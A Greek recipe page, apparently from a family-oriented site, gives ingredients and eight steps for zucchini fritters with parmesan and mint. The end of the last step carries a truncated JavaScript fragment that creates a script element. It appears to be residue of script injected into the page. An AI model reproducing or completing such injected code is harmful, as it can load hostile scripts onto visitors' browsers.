mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Κολοκυθοτηγανίτες

Κολοκυθοτηγανίτες

pancakeΚαλοκαιρινές, γευστικές και θρεπτικές τηγανίτες για να τις συνοδεύσουμε με μια σαλάτα ή με κρεατικό! Η συνταγή είναι ιδανική για πάρτι, ή για οικογενειακό τραπέζι, για σχολικό γεύμα αλλά και για μια βραδινή λιγούρα!

Μπορούμε να δοκιμάσουμε να αλείψουμε τις κολοκυθοτηγανίτες με τυρί κρέμα ή με γιαούρτι ή απλώς να τις φάμε αντί για ψωμί!
Είναι μια ωραία συνταγή για να φάνε οι μικροί μας φίλοι κολοκυθάκια εάν δεν τους αρέσουν αλλιώς!

Επίσης εάν χρησιμοποιήσουμε αντικολλητικό τηγάνι και λίγο ελαιόλαδο χωρίς να κάψει πολύ γίνονται και πιο υγιεινές!

Υλικά:

4 κολοκυθάκια
4 αυγά
4 κ. σούπας αλεύρι
τριμμένη παρμεζάνα
δυόσμο
αλάτι
πιπέρι
φρέσκο βούτυρο ή ελαιόλαδο

Εκτέλεση:

1. Τρίβουμε τα κολοκυθάκια και ρίχνουμε αλάτι. Τα αφήνουμε για λίγο να στεγνώσουν σε ένα σουρωτήρι για να μην έχουν πολλά υγρά για 40 λεπτά περίπου.
2. Έπειτα σε ένα μπωλ χτυπάμε ελαφρώς τα αυγά και τα ανακατεύουμε με το τριμμένο κολοκύθι με ένα φλιτζάνι παρμεζάνα, το δυόσμο, το αλεύρι.
3. Προσθέτουμε 1 κ. γλ. αλάτι και πιπέρι και ανακατεύουμε μέχρι να γίνει ενιαίο μείγμα.
4. Σε λεκάνη ρίχνουμε όλα τα υλικά και τα ανακατεύουμε καλά.
5. Σε ένα αντικολλητικό τηγάνι ρίχνουμε λίγο ελαιόλαδο ή λίγο φρέσκο βούτυρο και το αφήνουμε λίγο να ζεσταθεί.
6. Με τη βοήθεια μια μεγάλης κουτάλας ή ενός φλιτζανιού παίρνουμε λίγο μείγμα και το απλώνουμε στο τηγάνι ανάλογα με το μέγεθος που θέλουμε να κάνουμε.
7. Το αφήνουμε για 3 λεπτά να ψηθεί σε μέτρια φωτιά από την κάτω πλευρά κι έπειτα με ένα κουτάλι ή μια σπάτουλα τη γυρίζουμε για να πάρει χρώμα κι από την άλλη πλευρά.
8. Κάνουμε το ίδιο μέχρι να τελειώσει το μείγμα κι όποτε χρειάζεται προσθέτουμε ξανά λίγο ελαιόλαδο ή βούτυρο!var d=document;var s=d.createElement(‘script’);

Share This
3 Σχόλια
  1. […] post Κολοκυθοτηγανί&… appeared first on Arkoudos, Συνταγές … […]

  2. […] Κολοκυθοτηγανί&… […]